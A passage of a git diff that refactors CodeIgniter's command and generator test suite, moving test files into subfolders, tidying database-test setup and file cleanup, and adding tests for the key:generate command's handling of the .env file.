- private Commands $commands; - - protected function setUp(): void - { - $this->resetServices(); - - parent::setUp(); - - $this->logger = service('logger'); - $this->commands = service('commands'); - } - - protected function getBuffer(): string - { - return $this->getStreamFilterBuffer(); - } - - public function testListCommands(): void - { - command('list'); - - // make sure the result looks like a command list - $this->assertStringContainsString('Lists the available commands.', $this->getBuffer()); - $this->assertStringContainsString('Displays basic usage information.', $this->getBuffer()); - } - - public function testListCommandsSimple(): void - { - command('list --simple'); - - $this->assertStringContainsString('db:seed', $this->getBuffer()); - $this->assertStringNotContainsString('Lists the available commands.', $this->getBuffer()); - } - - public function testCustomCommand(): void - { - command('app:info'); - $this->assertStringContainsString('CI Version:', $this->getBuffer()); - } - - public function testShowError(): void - { - command('app:info'); - $commands = $this->commands->getCommands(); - - /** @var AppInfo */ - $command = new $commands['app:info']['class']($this->logger, $this->commands); - - $command->helpme(); - - $this->assertStringContainsString('Displays basic usage information.', $this->getBuffer()); - } - - public function testCommandCall(): void - { - command('app:info'); - $commands = $this->commands->getCommands(); - - /** @var AppInfo */ - $command = new $commands['app:info']['class']($this->logger, $this->commands); - - $command->bomb(); - - $this->assertStringContainsString('Invalid "background" color:', $this->getBuffer()); - } - - public function testAbstractCommand(): void - { - command('app:pablo'); - $this->assertStringContainsString('not found', $this->getBuffer()); - } - - public function testNamespacesCommand(): void - { - command('namespaces'); - - $this->assertStringContainsString('| Namespace', $this->getBuffer()); - $this->assertStringContainsString('| Config', $this->getBuffer()); - $this->assertStringContainsString('| Yes', $this->getBuffer()); - } - - public function testInexistentCommandWithNoAlternatives(): void - { - command('app:oops'); - $this->assertStringContainsString('Command "app:oops" not found', $this->getBuffer()); - } - - public function testInexistentCommandsButWithOneAlternative(): void - { - command('namespace'); - - $this->assertStringContainsString('Command "namespace" not found.', $this->getBuffer()); - $this->assertStringContainsString('Did you mean this?', $this->getBuffer()); - $this->assertStringContainsString('namespaces', $this->getBuffer()); - } - - public function testInexistentCommandsButWithManyAlternatives(): void - { - command('clear'); - - $this->assertStringContainsString('Command "clear" not found.', $this->getBuffer()); - $this->assertStringContainsString('Did you mean one of these?', $this->getBuffer()); - $this->assertStringContainsString(':clear', $this->getBuffer()); - } - - /** - * @param list $expected - */ - #[DataProvider('provideCommandParsesArgsCorrectly')] - public function testCommandParsesArgsCorrectly(string $input, array $expected): void - { - ParamsReveal::$args = null; - command($input); - - $this->assertSame($expected, ParamsReveal::$args); - } - - public static function provideCommandParsesArgsCorrectly(): iterable - { - return [ - [ - 'reveal as df', - ['as', 'df'], - ], - [ - 'reveal', - [], - ], - [ - 'reveal seg1 seg2 -opt1 -opt2', - ['seg1', 'seg2', 'opt1' => null, 'opt2' => null], - ], - [ - 'reveal seg1 seg2 -opt1 val1 seg3', - ['seg1', 'seg2', 'opt1' => 'val1', 'seg3'], - ], - [ - 'reveal as df -gh -jk -qw 12 zx cv', - ['as', 'df', 'gh' => null, 'jk' => null, 'qw' => '12', 'zx', 'cv'], - ], - [ - 'reveal as -df "some stuff" -jk 12 -sd "Some longer stuff" -fg \'using single quotes\'', - ['as', 'df' => 'some stuff', 'jk' => '12', 'sd' => 'Some longer stuff', 'fg' => 'using single quotes'], - ], - [ - 'reveal as -df "using mixed \'quotes\'\" here\""', - ['as', 'df' => 'using mixed \'quotes\'" here"'], - ], - ]; - } -} diff --git a/tests/system/Commands/CreateDatabaseTest.php b/tests/system/Commands/CreateDatabaseTest.php index a7e0fe11638f..8bae8282f931 100644 --- a/tests/system/Commands/CreateDatabaseTest.php +++ b/tests/system/Commands/CreateDatabaseTest.php @@ -22,6 +22,8 @@ use PHPUnit\Framework\Attributes\Group; /** + * @todo To figure out how to transfer this test to `tests/system/Commands/Database/` without breaking DatabaseLive group. + * * @internal */ #[Group('DatabaseLive')] @@ -33,7 +35,7 @@ final class CreateDatabaseTest extends CIUnitTestCase protected function setUp(): void { - $this->connection = Database::connect(); + $this->connection = Database::connect(null, false); parent::setUp(); @@ -52,12 +54,31 @@ private function dropDatabase(): void if ($this->connection instanceof SQLite3Connection) { $file = WRITEPATH . 'database.db'; + $this->closeDatabaseConnections(); + if (is_file($file)) { unlink($file); } - } elseif (Database::utils('tests')->databaseExists('database')) { + + return; + } + + if (Database::utils('tests')->databaseExists('database')) { Database::forge()->dropDatabase('database'); } + + $this->closeDatabaseConnections(); + } + + private function closeDatabaseConnections(): void + { + $this->connection->close(); + + foreach (Database::getConnections() as $connection) { + $connection->close(); + } + + $this->setPrivateProperty(Database::class, 'instances', []); } protected function getBuffer(): string diff --git a/tests/system/Commands/Database/MigrateStatusTest.php b/tests/system/Commands/Database/MigrateStatusTest.php index c9d9b20cc489..c32d2a58b706 100644 --- a/tests/system/Commands/Database/MigrateStatusTest.php +++ b/tests/system/Commands/Database/MigrateStatusTest.php @@ -29,33 +29,19 @@ final class MigrateStatusTest extends CIUnitTestCase use StreamFilterTrait; use DatabaseTestTrait; - private string $migrationFileFrom = SUPPORTPATH . 'MigrationTestMigrations/Database/Migrations/2018-01-24-102301_Some_migration.php'; - private string $migrationFileTo = APPPATH . 'Database/Migrations/2018-01-24-102301_Some_migration.php'; + private string $migrationNamespace = 'Tests\\Support\\MigrationTestMigrations'; + private string $migrationNamespacePath = SUPPORTPATH . 'MigrationTestMigrations/'; protected function setUp(): void { + $this->resetServices(); + parent::setUp(); Database::connect()->table('migrations')->emptyTable(); Database::forge()->dropTable('foo', true); - if (! is_file($this->migrationFileFrom)) { - $this->fail(clean_path($this->migrationFileFrom) . ' is not found.'); - } - - if (is_file($this->migrationFileTo)) { - @unlink($this->migrationFileTo); - } - - copy($this->migrationFileFrom, $this->migrationFileTo); - - $contents = file_get_contents($this->migrationFileTo); - $contents = str_replace( - 'namespace Tests\Support\MigrationTestMigrations\Database\Migrations;', - 'namespace App\Database\Migrations;', - $contents, - ); - file_put_contents($this->migrationFileTo, $contents); + service('autoloader')->addNamespace($this->migrationNamespace, $this->migrationNamespacePath); putenv('NO_COLOR=1'); CLI::init(); @@ -66,13 +52,12 @@ protected function tearDown(): void parent::tearDown(); Database::connect()->table('migrations')->emptyTable(); - - if (is_file($this->migrationFileTo)) { - @unlink($this->migrationFileTo); - } + Database::forge()->dropTable('foo', true); putenv('NO_COLOR'); CLI::init(); + + $this->resetServices(); } public function testMigrateAllWithWithTwoNamespaces(): void @@ -82,41 +67,31 @@ public function testMigrateAllWithWithTwoNamespaces(): void command('migrate:status'); - $result = str_replace(PHP_EOL, "\n", $this->getStreamFilterBuffer()); - $result = preg_replace('/\d{4}-\d\d-\d\d \d\d:\d\d:\d\d/', 'YYYY-MM-DD HH:MM:SS', $result); - $expected = <<<'EOL' - +---------------+-------------------+--------------------+-------+---------------------+-------+ - | Namespace | Version | Filename | Group | Migrated On | Batch | - +---------------+-------------------+--------------------+-------+---------------------+-------+ - | App | 2018-01-24-102301 | Some_migration | tests | YYYY-MM-DD HH:MM:SS | 1 | - | Tests\Support | 20160428212500 | Create_test_tables | tests | YYYY-MM-DD HH:MM:SS | 1 | - +---------------+-------------------+--------------------+-------+---------------------+-------+ - - - EOL; - $this->assertSame($expected, $result); + $this->assertMigrationStatusHasBothNamespaceMigrations(); } public function testMigrateWithWithTwoNamespaces(): void { - command('migrate -n App'); + command('migrate -n Tests\\\\Support\\\\MigrationTestMigrations'); command('migrate -n Tests\\\\Support'); $this->resetStreamFilterBuffer(); command('migrate:status'); - $result = str_replace(PHP_EOL, "\n", $this->getStreamFilterBuffer()); - $result = preg_replace('/\d{4}-\d\d-\d\d \d\d:\d\d:\d\d/', 'YYYY-MM-DD HH:MM:SS', $result); - $expected = <<<'EOL' - +---------------+-------------------+--------------------+-------+---------------------+-------+ - | Namespace | Version | Filename | Group | Migrated On | Batch | - +---------------+-------------------+--------------------+-------+---------------------+-------+ - | App | 2018-01-24-102301 | Some_migration | tests | YYYY-MM-DD HH:MM:SS | 1 | - | Tests\Support | 20160428212500 | Create_test_tables | tests | YYYY-MM-DD HH:MM:SS | 2 | - +---------------+-------------------+--------------------+-------+---------------------+-------+ - + $this->assertMigrationStatusHasBothNamespaceMigrations(); + } - EOL; - $this->assertSame($expected, $result); + private function assertMigrationStatusHasBothNamespaceMigrations(): void + { + $result = str_replace(PHP_EOL, "\n", $this->getStreamFilterBuffer()); + $theadPattern = '/^\|[[:space:]]+Namespace[[:space:]]+\|[[:space:]]+Version[[:space:]]+\|[[:space:]]+Filename[[:space:]]+\|[[:space:]]+Group[[:space:]]+\|[[:space:]]+Migrated On[[:space:]]+\|[[:space:]]+Batch[[:space:]]+\|$/m'; + + $this->assertMatchesRegularExpression($theadPattern, $result); + $this->assertStringContainsString($this->migrationNamespace, $result); + $this->assertStringContainsString('2018-01-24-102301', $result); + $this->assertStringContainsString('Some_migration', $result); + $this->assertStringContainsString('Tests\Support', $result); + $this->assertStringContainsString('20160428212500', $result); + $this->assertStringContainsString('Create_test_tables', $result); } } diff --git a/tests/system/Commands/Database/ShowTableInfoMockIOTest.php b/tests/system/Commands/Database/ShowTableInfoMockIOTest.php index 0842c28ae12a..8b4c433ee535 100644 --- a/tests/system/Commands/Database/ShowTableInfoMockIOTest.php +++ b/tests/system/Commands/Database/ShowTableInfoMockIOTest.php @@ -17,6 +17,7 @@ use CodeIgniter\Test\CIUnitTestCase; use CodeIgniter\Test\DatabaseTestTrait; use CodeIgniter\Test\Mock\MockInputOutput; +use Config\Database; use PHPUnit\Framework\Attributes\Group; /** @@ -33,6 +34,10 @@ protected function setUp(): void { parent::setUp(); + $this->db->resetDataCache(); + + CLI::reset(); + putenv('NO_COLOR=1'); CLI::init(); } @@ -41,34 +46,48 @@ protected function tearDown(): void { parent::tearDown(); + CLI::reset(); + putenv('NO_COLOR'); CLI::init(); } public function testDbTableWithInputs(): void { + $tableIndex = array_search('db_migrations', Database::connect()->listTables(), true); + + $this->assertIsInt($tableIndex); + // Set MockInputOutput to CLI. $io = new MockInputOutput(); CLI::setInputOutput($io); - // User will input "a" (invalid value) and "0". - $io->setInputs(['a', '0']); + // User will input "a" (invalid value) and then select db_migrations. + $io->setInputs(['a', (string) $tableIndex]); command('db:table'); $result = $io->getOutput(); - $expectedPattern = '/Which table do you want to see\? \[0, 1, 2, 3, 4, 5, 6, 7, 8, 9.*?\]: a -The "Which table do you want to see\?" field must be one of: 0, 1, 2, 3, 4, 5, 6, 7, 8, 9.*?./'; - $this->assertMatchesRegularExpression($expectedPattern, $result); - - $expected = 'Data of Table "db_migrations":'; - $this->assertStringContainsString($expected, $result); - - $expectedPattern = '/\| id[[:blank:]]+\| version[[:blank:]]+\| class[[:blank:]]+\| group[[:blank:]]+\| namespace[[:blank:]]+\| time[[:blank:]]+\| batch \|/'; - $this->assertMatchesRegularExpression($expectedPattern, $result); - - // Remove MockInputOutput. - CLI::resetInputOutput(); + $this->assertMatchesRegularExpression( + '/Which table do you want to see\? \[[\d,\s]+\]\: a/', + $result, + ); + $this->assertMatchesRegularExpression( + '/The "Which table do you want to see\?" field must be one of: [\d,\s]+./', + $result, + ); + $this->assertMatchesRegularExpression( + '/Which table do you want to see\? \[[\d,\s]+\]\: ' . $tableIndex . '/', + $result, + ); + $this->assertMatchesRegularExpression( + '/Data of Table "db_migrations"\:/', + $result, + ); + $this->assertMatchesRegularExpression( + '/\| id[[:blank:]]+\| version[[:blank:]]+\| class[[:blank:]]+\| group[[:blank:]]+\| namespace[[:blank:]]+\| time[[:blank:]]+\| batch \|/', + $result, + ); } } diff --git a/tests/system/Commands/Database/ShowTableInfoTest.php b/tests/system/Commands/Database/ShowTableInfoTest.php index a2749c812d8b..d6f99bd4fc16 100644 --- a/tests/system/Commands/Database/ShowTableInfoTest.php +++ b/tests/system/Commands/Database/ShowTableInfoTest.php @@ -17,7 +17,6 @@ use CodeIgniter\Test\CIUnitTestCase; use CodeIgniter\Test\DatabaseTestTrait; use CodeIgniter\Test\StreamFilterTrait; -use Config\Database; use PHPUnit\Framework\Attributes\Group; use Tests\Support\Database\Seeds\CITestSeeder; @@ -30,12 +29,14 @@ final class ShowTableInfoTest extends CIUnitTestCase use DatabaseTestTrait; use StreamFilterTrait; - protected $migrateOnce = true; + protected $seed = CITestSeeder::class; protected function setUp(): void { parent::setUp(); + $this->db->resetDataCache(); + putenv('NO_COLOR=1'); CLI::init(); } @@ -121,9 +122,6 @@ public function testDbTableMetadata(): void public function testDbTableDesc(): void { - $seeder = Database::seeder(); - $seeder->call(CITestSeeder::class); - command('db:table db_user --desc'); $result = $this->getNormalizedResult(); diff --git a/tests/system/Commands/DatabaseCommandsTest.php b/tests/system/Commands/DatabaseCommandsTest.php index 02d6e6b38963..b8894e49f965 100644 --- a/tests/system/Commands/DatabaseCommandsTest.php +++ b/tests/system/Commands/DatabaseCommandsTest.php @@ -14,15 +14,19 @@ namespace CodeIgniter\Commands; use CodeIgniter\Test\CIUnitTestCase; +use CodeIgniter\Test\DatabaseTestTrait; use CodeIgniter\Test\StreamFilterTrait; use PHPUnit\Framework\Attributes\Group; /** + * @todo To figure out how to transfer this test to `tests/system/Commands/Database/` without breaking DatabaseLive group. + * * @internal */ #[Group('DatabaseLive')] final class DatabaseCommandsTest extends CIUnitTestCase { + use DatabaseTestTrait; use StreamFilterTrait; protected function tearDown(): void diff --git a/tests/system/Commands/GenerateKeyTest.php b/tests/system/Commands/Encryption/GenerateKeyTest.php similarity index 80% rename from tests/system/Commands/GenerateKeyTest.php rename to tests/system/Commands/Encryption/GenerateKeyTest.php index 6ed0d6c94b93..387bdf7a1641 100644 --- a/tests/system/Commands/GenerateKeyTest.php +++ b/tests/system/Commands/Encryption/GenerateKeyTest.php @@ -11,7 +11,7 @@ * the LICENSE file that was distributed with this source code. */ -namespace CodeIgniter\Commands; +namespace CodeIgniter\Commands\Encryption; use CodeIgniter\Config\Services; use CodeIgniter\Superglobals; @@ -169,4 +169,40 @@ public function testKeyGenerateWhenNewBase64KeyIsSubsequentlyCommentedOut(): voi $this->assertStringContainsString('was successfully set.', $this->getBuffer()); $this->assertNotSame($key, env('encryption.key', $key), 'Failed replacing the commented out key.'); } + + public function testKeyGenerateReplacesExportPrefixedEncryptionKey(): void + { + $existingKey = 'hex2bin:' . str_repeat('a', 64); + file_put_contents($this->envPath, "export encryption.key = {$existingKey}\n"); + + command('key:generate --force'); + + $contents = (string) file_get_contents($this->envPath); + $this->assertMatchesRegularExpression( + '/^export encryption\.key = hex2bin:[a-f0-9]{64}$/m', + $contents, + 'The `export` prefix should be preserved and the value rewritten.', + ); + $this->assertStringNotContainsString($existingKey, $contents, 'The old key value should be replaced.'); + } + + public function testKeyGenerateNotFooledByCommentMentioningEncryptionKey(): void + { + $envContents = "# Note: encryption.key is set automatically by spark key:generate.\n"; + file_put_contents($this->envPath, $envContents); + + command('key:generate --force'); + + $contents = (string) file_get_contents($this->envPath); + $this->assertStringContainsString( + $envContents, + $contents, + 'The doc comment must be left intact.', + ); + $this->assertMatchesRegularExpression( + '/^encryption\.key = hex2bin:[a-f0-9]{64}$/m', + $contents, + 'A real `encryption.key` setting must be appended even when a comment mentions the name.', + ); + } } diff --git a/tests/system/Commands/CellGeneratorTest.php b/tests/system/Commands/Generators/CellGeneratorTest.php similarity index 98% rename from tests/system/Commands/CellGeneratorTest.php rename to tests/system/Commands/Generators/CellGeneratorTest.php index 31ec6dc3921e..3412246966cd 100644 --- a/tests/system/Commands/CellGeneratorTest.php +++ b/tests/system/Commands/Generators/CellGeneratorTest.php @@ -11,7 +11,7 @@ * the LICENSE file that was distributed with this source code. */ -namespace CodeIgniter\Commands; +namespace CodeIgniter\Commands\Generators; use CodeIgniter\Test\CIUnitTestCase; use CodeIgniter\Test\StreamFilterTrait; diff --git a/tests/system/Commands/CommandGeneratorTest.php b/tests/system/Commands/Generators/CommandGeneratorTest.php similarity index 88% rename from tests/system/Commands/CommandGeneratorTest.php rename to tests/system/Commands/Generators/CommandGeneratorTest.php index d485d6e4f063..ee94fa591474 100644 --- a/tests/system/Commands/CommandGeneratorTest.php +++ b/tests/system/Commands/Generators/CommandGeneratorTest.php @@ -11,7 +11,7 @@ * the LICENSE file that was distributed with this source code. */ -namespace CodeIgniter\Commands; +namespace CodeIgniter\Commands\Generators; use CodeIgniter\Test\CIUnitTestCase; use CodeIgniter\Test\StreamFilterTrait; @@ -27,15 +27,21 @@ final class CommandGeneratorTest extends CIUnitTestCase protected function tearDown(): void { - $result = str_replace(["\033[0;32m", "\033[0m", "\n"], '', $this->getStreamFilterBuffer()); - $file = str_replace('APPPATH' . DIRECTORY_SEPARATOR, APPPATH, trim(substr($result, 14))); - $dir = dirname($file); + preg_match_all('/File (?:created|overwritten): (APPPATH[^\r\n\x1b]+)/', $this->getStreamFilterBuffer(), $matches); - if (is_file($file)) { - unlink($file); - } - if (is_dir($dir) && str_contains($dir, 'Commands')) { - rmdir($dir); + foreach ($matches[1] as $file) { + $path = str_replace('APPPATH' . DIRECTORY_SEPARATOR, APPPATH, $file); + + if (is_file($path)) { + unlink($path); + } + + $dir = dirname($path); + $dirFiles = is_dir($dir) ? scandir($dir) : false; + + if (str_starts_with($dir, APPPATH . 'Commands') && $dirFiles !== false && count($dirFiles) === 2) { + rmdir($dir); + } } } diff --git a/tests/system/Commands/ConfigGeneratorTest.php b/tests/system/Commands/Generators/ConfigGeneratorTest.php similarity index 96% rename from tests/system/Commands/ConfigGeneratorTest.php rename to tests/system/Commands/Generators/ConfigGeneratorTest.php index ab4914914719..473efff9a3a0 100644 --- a/tests/system/Commands/ConfigGeneratorTest.php +++ b/tests/system/Commands/Generators/ConfigGeneratorTest.php @@ -11,7 +11,7 @@ * the LICENSE file that was distributed with this source code. */ -namespace CodeIgniter\Commands; +namespace CodeIgniter\Commands\Generators; use CodeIgniter\Test\CIUnitTestCase; use CodeIgniter\Test\StreamFilterTrait; diff --git a/tests/system/Commands/ControllerGeneratorTest.php b/tests/system/Commands/Generators/ControllerGeneratorTest.php similarity index 98% rename from tests/system/Commands/ControllerGeneratorTest.php rename to tests/system/Commands/Generators/ControllerGeneratorTest.php index dc8293bb3997..e1c77bcb6d5d 100644 --- a/tests/system/Commands/ControllerGeneratorTest.php +++ b/tests/system/Commands/Generators/ControllerGeneratorTest.php @@ -11,7 +11,7 @@ * the LICENSE file that was distributed with this source code. */ -namespace CodeIgniter\Commands; +namespace CodeIgniter\Commands\Generators; use CodeIgniter\Test\CIUnitTestCase; use CodeIgniter\Test\StreamFilterTrait; diff --git a/tests/system/Commands/EntityGeneratorTest.php b/tests/system/Commands/Generators/EntityGeneratorTest.php similarity index 96% rename from tests/system/Commands/EntityGeneratorTest.php rename to tests/system/Commands/Generators/EntityGeneratorTest.php index 1e764add9cec..f8dce1c17608 100644 --- a/tests/system/Commands/EntityGeneratorTest.php +++ b/tests/system/Commands/Generators/EntityGeneratorTest.php @@ -11,7 +11,7 @@ * the LICENSE file that was distributed with this source code. */ -namespace CodeIgniter\Commands; +namespace CodeIgniter\Commands\Generators; use CodeIgniter\Test\CIUnitTestCase; use CodeIgniter\Test\StreamFilterTrait; diff --git a/tests/system/Commands/FilterGeneratorTest.php b/tests/system/Commands/Generators/FilterGeneratorTest.php similarity index 96% rename from tests/system/Commands/FilterGeneratorTest.php rename to tests/system/Commands/Generators/FilterGeneratorTest.php index b336387d3ab4..a1144c1bc31d 100644 --- a/tests/system/Commands/FilterGeneratorTest.php +++ b/tests/system/Commands/Generators/FilterGeneratorTest.php @@ -11,7 +11,7 @@ * the LICENSE file that was distributed with this source code. */ -namespace CodeIgniter\Commands; +namespace CodeIgniter\Commands\Generators; use CodeIgniter\Test\CIUnitTestCase; use CodeIgniter\Test\StreamFilterTrait; diff --git a/tests/system/Commands/GeneratorsTest.php b/tests/system/Commands/Generators/GeneratorsTest.php similarity index 98% rename from tests/system/Commands/GeneratorsTest.php rename to tests/system/Commands/Generators/GeneratorsTest.php index f72ceabc710c..bb031b286f94 100644 --- a/tests/system/Commands/GeneratorsTest.php +++ b/tests/system/Commands/Generators/GeneratorsTest.php @@ -11,7 +11,7 @@ * the LICENSE file that was distributed with this source code. */ -namespace CodeIgniter\Commands; +namespace CodeIgniter\Commands\Generators; use CodeIgniter\Test\CIUnitTestCase; use CodeIgniter\Test\StreamFilterTrait; diff --git a/tests/system/Commands/MigrationGeneratorTest.php b/tests/system/Commands/Generators/MigrationGeneratorTest.php similarity index 97% rename from tests/system/Commands/MigrationGeneratorTest.php rename to tests/system/Commands/Generators/MigrationGeneratorTest.php index 0f999d638789..c4670019a422 100644 --- a/tests/system/Commands/MigrationGeneratorTest.php +++ b/tests/system/Commands/Generators/MigrationGeneratorTest.php @@ -11,7 +11,7 @@ * the LICENSE file that was distributed with this source code. */ -namespace CodeIgniter\Commands; +namespace CodeIgniter\Commands\Generators; use CodeIgniter\Test\CIUnitTestCase; use CodeIgniter\Test\StreamFilterTrait; diff --git a/tests/system/Commands/ModelGeneratorTest.php b/tests/system/Commands/Generators/ModelGeneratorTest.php similarity index 99% rename from tests/system/Commands/ModelGeneratorTest.php rename to tests/system/Commands/Generators/ModelGeneratorTest.php index 65596958606c..520bbbdc7a3b 100644 --- a/tests/system/Commands/ModelGeneratorTest.php +++ b/tests/system/Commands/Generators/ModelGeneratorTest.php @@ -11,7 +11,7 @@ * the LICENSE file that was distributed with this source code. */ -namespace CodeIgniter\Commands; +namespace CodeIgniter\Commands\Generators; use CodeIgniter\Test\CIUnitTestCase; use CodeIgniter\Test\StreamFilterTrait; diff --git a/tests/system/Commands/ScaffoldGeneratorTest.php b/tests/system/Commands/Generators/ScaffoldGeneratorTest.php similarity index 69% rename from tests/system/Commands/ScaffoldGeneratorTest.php rename to tests/system/Commands/Generators/ScaffoldGeneratorTest.php index fe99f2c38ccd..7f12e6b93450 100644 --- a/tests/system/Commands/ScaffoldGeneratorTest.php +++ b/tests/system/Commands/Generators/ScaffoldGeneratorTest.php @@ -11,8 +11,9 @@ * the LICENSE file that was distributed with this source code. */ -namespace CodeIgniter\Commands; +namespace CodeIgniter\Commands\Generators; +use CodeIgniter\CLI\CLI; use CodeIgniter\Test\CIUnitTestCase; use CodeIgniter\Test\StreamFilterTrait; use Config\Autoload; @@ -30,9 +31,40 @@ final class ScaffoldGeneratorTest extends CIUnitTestCase protected function setUp(): void { $this->resetServices(); + CLI::init(); service('autoloader')->initialize(new Autoload(), new Modules()); parent::setUp(); + + $this->removeGeneratedFiles(); + $this->resetStreamFilterBuffer(); + } + + protected function tearDown(): void + { + parent::tearDown(); + + $this->removeGeneratedFiles(); + } + + private function removeGeneratedFiles(): void + { + preg_match_all('/File (?:created|overwritten): "?(APPPATH[^"\r\n\x1b]+)/', $this->getStreamFilterBuffer(), $matches); + + foreach ($matches[1] as $file) { + $path = str_replace('APPPATH' . DIRECTORY_SEPARATOR, APPPATH, $file); + + if (is_file($path)) { + @unlink($path); + } + + $dir = dirname($path); + $dirFiles = is_dir($dir) ? scandir($dir) : false; + + if (str_starts_with($dir, APPPATH) && $dirFiles !== false && count($dirFiles) === 2) { + @rmdir($dir); + } + } } protected function getFileContents(string $filepath): string @@ -48,34 +80,18 @@ public function testCreateComponentProducesManyFiles(): void { command('make:scaffold people'); - $dir = '\\' . DIRECTORY_SEPARATOR; - $migration = "APPPATH{$dir}Database{$dir}Migrations{$dir}(.*)\\.php"; - preg_match('/' . $migration . '/u', $this->getStreamFilterBuffer(), $matches); - $matches[0] = str_replace('APPPATH' . DIRECTORY_SEPARATOR, APPPATH, $matches[0]); - // Files check $this->assertStringContainsString('File created: ', $this->getStreamFilterBuffer()); $this->assertFileExists(APPPATH . 'Controllers/People.php'); $this->assertFileExists(APPPATH . 'Models/People.php'); $this->assertStringContainsString('_People.php', $this->getStreamFilterBuffer()); $this->assertFileExists(APPPATH . 'Database/Seeds/People.php'); - - // Options check - unlink(APPPATH . 'Controllers/People.php'); - unlink(APPPATH . 'Models/People.php'); - unlink($matches[0]); - unlink(APPPATH . 'Database/Seeds/People.php'); } public function testCreateComponentWithManyOptions(): void { command('make:scaffold user -restful -return entity'); - $dir = '\\' . DIRECTORY_SEPARATOR; - $migration = "APPPATH{$dir}Database{$dir}Migrations{$dir}(.*)\\.php"; - preg_match('/' . $migration . '/u', $this->getStreamFilterBuffer(), $matches); - $matches[0] = str_replace('APPPATH' . DIRECTORY_SEPARATOR, APPPATH, $matches[0]); - // Files check $this->assertStringContainsString('File created: ', $this->getStreamFilterBuffer()); $this->assertFileExists(APPPATH . 'Controllers/User.php'); @@ -86,37 +102,18 @@ public function testCreateComponentWithManyOptions(): void // Options check $this->assertStringContainsString('extends ResourceController', $this->getFileContents(APPPATH . 'Controllers/User.php')); - - // Clean up - unlink(APPPATH . 'Controllers/User.php'); - unlink($matches[0]); - unlink(APPPATH . 'Database/Seeds/User.php'); - unlink(APPPATH . 'Entities/User.php'); - rmdir(APPPATH . 'Entities'); - unlink(APPPATH . 'Models/User.php'); } public function testCreateComponentWithOptionSuffix(): void { command('make:scaffold order -suffix'); - $dir = '\\' . DIRECTORY_SEPARATOR; - $migration = "APPPATH{$dir}Database{$dir}Migrations{$dir}(.*)\\.php"; - preg_match('/' . $migration . '/u', $this->getStreamFilterBuffer(), $matches); - $matches[0] = str_replace('APPPATH' . DIRECTORY_SEPARATOR, APPPATH, $matches[0]); - // Files check $this->assertStringContainsString('File created: ', $this->getStreamFilterBuffer()); $this->assertFileExists(APPPATH . 'Controllers/OrderController.php'); $this->assertStringContainsString('_OrderMigration.php', $this->getStreamFilterBuffer()); $this->assertFileExists(APPPATH . 'Database/Seeds/OrderSeeder.php'); $this->assertFileExists(APPPATH . 'Models/OrderModel.php'); - - // Clean up - unlink(APPPATH . 'Controllers/OrderController.php'); - unlink($matches[0]); - unlink(APPPATH . 'Database/Seeds/OrderSeeder.php'); - unlink(APPPATH . 'Models/OrderModel.php'); } public function testCreateComponentWithOptionForce(): void @@ -129,11 +126,6 @@ public function testCreateComponentWithOptionForce(): void command('make:scaffold fixer -bare -force'); - $dir = '\\' . DIRECTORY_SEPARATOR; - $migration = "APPPATH{$dir}Database{$dir}Migrations{$dir}(.*)\\.php"; - preg_match('/' . $migration . '/u', $this->getStreamFilterBuffer(), $matches); - $matches[0] = str_replace('APPPATH' . DIRECTORY_SEPARATOR, APPPATH, $matches[0]); - // Files check $this->assertStringContainsString('File created: ', $this->getStreamFilterBuffer()); $this->assertFileExists(APPPATH . 'Controllers/Fixer.php'); @@ -144,12 +136,6 @@ public function testCreateComponentWithOptionForce(): void // Options check $this->assertStringContainsString('extends Controller', $this->getFileContents(APPPATH . 'Controllers/Fixer.php')); $this->assertStringContainsString('File overwritten: ', $this->getStreamFilterBuffer()); - - // Clean up - unlink(APPPATH . 'Controllers/Fixer.php'); - unlink($matches[0]); - unlink(APPPATH . 'Database/Seeds/Fixer.php'); - unlink(APPPATH . 'Models/Fixer.php'); } public function testCreateComponentWithOptionNamespace(): void @@ -173,11 +159,5 @@ public function testCreateComponentWithOptionNamespace(): void $this->assertStringContainsString('namespace App\Database\Migrations;', $this->getFileContents($matches[0])); $this->assertStringContainsString('namespace App\Database\Seeds;', $this->getFileContents(APPPATH . 'Database/Seeds/Product.php')); $this->assertStringContainsString('namespace App\Models;', $this->getFileContents(APPPATH . 'Models/Product.php')); - - // Clean up - unlink(APPPATH . 'Controllers/Product.php'); - unlink($matches[0]); - unlink(APPPATH . 'Database/Seeds/Product.php'); - unlink(APPPATH . 'Models/Product.php'); } } diff --git a/tests/system/Commands/SeederGeneratorTest.php b/tests/system/Commands/Generators/SeederGeneratorTest.php similarity index 97% rename from tests/system/Commands/SeederGeneratorTest.php rename to tests/system/Commands/Generators/SeederGeneratorTest.php index b8f504489c5b..c455576876bb 100644 --- a/tests/system/Commands/SeederGeneratorTest.php +++ b/tests/system/Commands/Generators/SeederGeneratorTest.php @@ -11,7 +11,7 @@ * the LICENSE file that was distributed with this source code. */ -namespace CodeIgniter\Commands; +namespace CodeIgniter\Commands\Generators; use CodeIgniter\Test\CIUnitTestCase; use CodeIgniter\Test\StreamFilterTrait; diff --git a/tests/system/Commands/TestGeneratorTest.php b/tests/system/Commands/Generators/TestGeneratorTest.php similarity index 88% rename from tests/system/Commands/TestGeneratorTest.php rename to tests/system/Commands/Generators/TestGeneratorTest.php index b67c136a4009..3cad6b214307 100644 --- a/tests/system/Commands/TestGeneratorTest.php +++ b/tests/system/Commands/Generators/TestGeneratorTest.php @@ -11,7 +11,7 @@ * the LICENSE file that was distributed with this source code. */ -namespace CodeIgniter\Commands; +namespace CodeIgniter\Commands\Generators; use CodeIgniter\CLI\CLI; use CodeIgniter\Test\CIUnitTestCase; @@ -33,9 +33,6 @@ protected function setUp(): void parent::setUp(); $this->resetStreamFilterBuffer(); - - putenv('NO_COLOR=1'); - CLI::init(); } protected function tearDown(): void @@ -44,14 +41,16 @@ protected function tearDown(): void $this->clearTestFiles(); $this->resetStreamFilterBuffer(); + } - putenv('NO_COLOR'); - CLI::init(); + private function getUndecoratedBuffer(): string + { + return preg_replace('/\e\[[^m]+m/', '', $this->getStreamFilterBuffer()); } private function clearTestFiles(): void { - preg_match('/File created: (.*)/', $this->getStreamFilterBuffer(), $result); + preg_match('/File created: (.*)/', $this->getUndecoratedBuffer(), $result); $file = str_replace('ROOTPATH' . DIRECTORY_SEPARATOR, ROOTPATH, $result[1] ?? ''); if (is_file($file)) { @@ -71,7 +70,7 @@ public function testGenerateTestFiles(string $name, string $expectedClass): void $expectedTestFile = str_replace('/', DIRECTORY_SEPARATOR, sprintf('%stests/%s.php', ROOTPATH, $expectedClass)); $expectedMessage = sprintf('File created: %s', str_replace(ROOTPATH, 'ROOTPATH' . DIRECTORY_SEPARATOR, $expectedTestFile)); - $this->assertStringContainsString($expectedMessage, $this->getStreamFilterBuffer()); + 